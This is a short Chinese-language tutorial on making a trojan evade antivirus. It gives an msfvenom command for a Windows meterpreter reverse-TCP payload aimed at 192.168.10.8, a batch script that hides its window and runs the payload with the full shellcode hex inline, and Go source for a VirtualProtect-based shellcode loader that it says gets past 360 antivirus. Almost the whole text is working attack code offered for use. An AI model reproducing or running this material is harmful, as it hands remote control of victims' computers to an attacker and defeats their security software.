木马免杀

生成shellcode的16进制#

msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=192.168.10.8 LPOST=4444

生成payload#

准备好shellcode加载器，后面会编写#

然后编写1.bat,为了隐藏窗口#

@Echo Off
if "%1" == "h"  goto begin
	mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
1.exe fc4883e4f0e8cc00000041514150524831d265488b5260488b5218488b52205156480fb74a4a488b72504d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed52488b522041518b423c4801d0668178180b020f85720000008b80880000004885c074674801d08b481850448b40204901d0e35648ffc9418b34884d31c94801d64831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200115cc0a80a0841544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a0a415e50504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd585c0740a49ffce75e5e8930000004883ec104889e24d31c96a0441584889f941ba02d9c85fffd583f8007e554883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd583f8007d2858415759680040000041586a005a41ba0b2f0f30ffd5575941ba756e4d61ffd549ffcee93cffffff4801c34829c64885f675b441ffe7586a005949c7c2f0b5a256ffd5

运行1.bat后上线#

体验完后，那么shellcode的加载器的编写，并且过360#

package main
import (
	"encoding/hex"
	"fmt"
	"os"
	"syscall"
	"unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) {
	t, _, _ := procVirtualProtect.Call(
		uintptr(a),
		uintptr(b),
		uintptr(c),
		uintptr(d))
	fmt.Print(t)
}
func Run(sc []byte) {
	f := func() {}
	var oldfperms uint32
	VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms))
	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
	var oldshellcodeperms uint32
	VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms))
	f()
}
func main() {
	x, _ := hex.DecodeString(os.Args[1])
	Run(x)
}